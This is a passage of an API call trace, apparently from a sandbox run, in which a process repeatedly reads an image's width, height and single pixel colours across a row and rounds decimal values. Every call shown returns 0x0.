(bitmap=0x1cf641a0, x=21, y=0, color=0x1c6cc480) returned 0x0 [0124.051] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.052] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.052] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.052] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.052] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=22, y=0, color=0x1c6cc480) returned 0x0 [0124.052] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.052] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.052] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.052] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.052] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=23, y=0, color=0x1c6cc480) returned 0x0 [0124.052] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.052] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.052] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.052] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.053] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=24, y=0, color=0x1c6cc480) returned 0x0 [0124.053] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.053] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.053] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.053] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.053] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=25, y=0, color=0x1c6cc480) returned 0x0 [0124.053] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.053] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.053] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.053] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.053] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=26, y=0, color=0x1c6cc480) returned 0x0 [0124.053] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.053] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.054] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.054] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.054] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=27, y=0, color=0x1c6cc480) returned 0x0 [0124.054] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.054] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.054] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.054] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.054] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=28, y=0, color=0x1c6cc480) returned 0x0 [0124.054] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.054] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.054] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.054] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.054] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=29, y=0, color=0x1c6cc480) returned 0x0 [0124.055] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.055] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.055] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.055] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.055] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=30, y=0, color=0x1c6cc480) returned 0x0 [0124.055] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.055] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.055] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.055] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.055] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=31, y=0, color=0x1c6cc480) returned 0x0 [0124.055] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.055] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.056] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.056] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.056] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=32, y=0, color=0x1c6cc480) returned 0x0 [0124.056] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.056] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.056] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.056] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.056] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=33, y=0, color=0x1c6cc480) returned 0x0 [0124.056] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.056] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.056] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.056] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.056] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=34, y=0, color=0x1c6cc480) returned 0x0 [0124.056] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.057] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.057] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.057] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.057] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=35, y=0, color=0x1c6cc480) returned 0x0 [0124.057] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.057] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.057] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.057] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.057] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=36, y=0, color=0x1c6cc480) returned 0x0 [0124.057] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.057] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.057] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.057] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.057] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=37, y=0, color=0x1c6cc480) returned 0x0 [0124.058] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.058] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.058] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.058] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.058] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=38, y=0, color=0x1c6cc480) returned 0x0 [0124.058] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.058] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.058] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.058] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.058] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=39, y=0, color=0x1c6cc480) returned 0x0 [0124.058] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.058] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.059] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.059] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.059] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=40, y=0, color=0x1c6cc480) returned 0x0 [0124.059] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.059] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.059] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.059] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.059] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=41, y=0, color=0x1c6cc480) returned 0x0 [0124.059] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.059] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.059] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.059] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.059] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=42, y=0, color=0x1c6cc480) returned 0x0 [0124.059] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.059] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.059] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.059] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.059] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=43, y=0, color=0x1c6cc480) returned 0x0 [0124.060] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.060] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.060] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.060] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.060] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=44, y=0, color=0x1c6cc480) returned 0x0 [0124.060] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.060] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.060] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.060] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.060] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=45, y=0, color=0x1c6cc480) returned 0x0 [0124.060] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.060] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.060] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.060] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.060] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=46, y=0, color=0x1c6cc480) returned 0x0 [0124.061] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.061] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.061] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.061] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.061] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=47, y=0, color=0x1c6cc480) returned 0x0 [0124.061] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.061] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.061] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.061] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.061] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=48, y=0, color=0x1c6cc480) returned 0x0 [0124.061] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.061] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.063] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.063] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.063] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=49, y=0, color=0x1c6cc480) returned 0x0 [0124.063] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.063] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.063] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.063] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.063] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=50, y=0, color=0x1c6cc480) returned 0x0 [0124.063] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.063] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.063] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.063] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.063] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=51, y=0, color=0x1c6cc480) returned 0x0 [0124.064] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.064] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.064] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.064] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.064] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=52, y=0, color=0x1c6cc480) returned 0x0 [0124.064] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.064] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.064] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.064] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.064] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=53, y=0, color=0x1c6cc480) returned 0x0 [0124.064] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.064] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.064] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.064] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.065] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=54, y=0, color=0x1c6cc480) returned 0x0 [0124.065] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.065] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.065] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.065] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.065] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=55, y=0, color=0x1c6cc480) returned 0x0 [0124.065] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.065] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.065] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.065] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.065] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=56, y=0, color=0x1c6cc480) returned 0x0 [0124.065] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.066] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.066] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.066] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.066] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=57, y=0, color=0x1c6cc480) returned 0x0 [0124.066] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.066] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.066] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.066] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.066] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=58, y=0, color=0x1c6cc480) returned 0x0 [0124.066] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.066] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.066] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.066] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.066] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=59, y=0, color=0x1c6cc480) returned 0x0 [0124.067] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.067] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.067] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.067] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.067] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=60, y=0, color=0x1c6cc480) returned 0x0 [0124.067] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.067] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.067] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.067] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.067] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=61, y=0, color=0x1c6cc480) returned 0x0 [0124.067] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.067] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.067] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.067] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.067] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=62, y=0, color=0x1c6cc480) returned 0x0 [0124.068] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.068] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.068] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.068] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.068] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=63, y=0, color=0x1c6cc480) returned 0x0 [0124.068] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.068] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.068] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.068] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.068] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=64, y=0, color=0x1c6cc480) returned 0x0 [0124.068] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.068] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.068] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.068] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.069] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=65, y=0, color=0x1c6cc480) returned 0x0 [0124.069] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.069] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.069] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.069] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.069] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=66, y=0, color=0x1c6cc480) returned 0x0 [0124.069] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.069] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.069] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.069] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.069] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=67, y=0, color=0x1c6cc480) returned 0x0 [0124.069] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.069] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.070] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.070] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.070] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=68, y=0, color=0x1c6cc480) returned 0x0 [0124.070] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.070] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.070] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.070] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.070] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=69, y=0, color=0x1c6cc480) returned 0x0 [0124.070] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.070] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.070] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.070] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.070] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=70, y=0, color=0x1c6cc480) returned 0x0 [0124.070] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.071] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, 